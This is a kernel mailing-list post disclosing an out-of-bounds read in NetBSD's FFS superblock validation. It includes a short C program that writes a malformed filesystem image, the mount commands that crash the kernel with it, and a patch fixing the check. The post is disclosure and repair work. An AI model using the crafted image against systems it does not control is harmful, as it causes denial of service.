tech-kern archive
[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index][Old Index]
FFS: wrong superblock check ~> crash
Probably with the conviction I would find some bugs I opened ffs/ffs_vfsops.c
and something immediately stroke me:
918 error = bread(devvp, sblock_try[i] / DEV_BSIZE, SBLOCKSIZE, cred,
919 0, &bp);
SBLOCKSIZE (=8192) bytes are read on the disk and put into bp->b_data
(allocated).
924 fs = (struct fs*)bp->b_data;
...
939 sbsize = fs->fs_sbsize;
'sbsize' is set to a value that was read on the disk.
976 /* Validate size of superblock */
977 if (sbsize > MAXBSIZE || sbsize < sizeof(struct fs))
978 continue;
Basic sanity checks. MAXBSIZE = 64 * 1024.
991 fs = kmem_alloc((u_long)sbsize, KM_SLEEP);
992 memcpy(fs, bp->b_data, sbsize);
And then comes this memcpy. The problem here is that the size of b_data is
8192, but the values of sbsize are located in [1376; 65536].
With a broken superblock the kernel will read far beyond the allocated
area, which mostly means it will crash.
Exploit:
------------------------------ ffs.c ------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <ufs/ffs/fs.h>
#define MAXBSIZE (64 * 1024)
int main() {
struct fs fs;
char byte[65536] = "";
FILE *f;
memset(&fs, 0, sizeof(fs));
fs.fs_magic = FS_UFS1_MAGIC;
fs.fs_sbsize = MAXBSIZE-1;
fs.fs_bsize = MAXBSIZE-1;
fs.fs_sblockloc = 1024;
f = fopen("ffs.img", "w");
fwrite(&fs, sizeof(fs), 1, f);
fwrite(&byte, 1, 65536 - sizeof(fs), f);
fclose(f);
return 0;
}
# ./ffs
# vnconfig vnd0d ffs.img
# mount /dev/vnd0d /mnt
-> crash
-------------------------------------------------------------------
I think the sanity check should be:
Index: ffs_vfsops.c
===================================================================
RCS file: /cvsroot/src/sys/ufs/ffs/ffs_vfsops.c,v
retrieving revision 1.299
diff -u -r1.299 ffs_vfsops.c
--- ffs_vfsops.c 24 May 2014 16:34:04 -0000 1.299
+++ ffs_vfsops.c 20 Oct 2014 13:01:46 -0000
@@ -974,7 +974,7 @@
continue;
/* Validate size of superblock */
- if (sbsize > MAXBSIZE || sbsize < sizeof(struct fs))
+ if (sbsize > SBLOCKSIZE || sbsize < sizeof(struct fs))
continue;
/* Check that we can handle the file system blocksize */
Tested on NetBSD-current: no longer crashes.
Ok/Comments?
Home |
Main Index |
Thread Index |
Old Index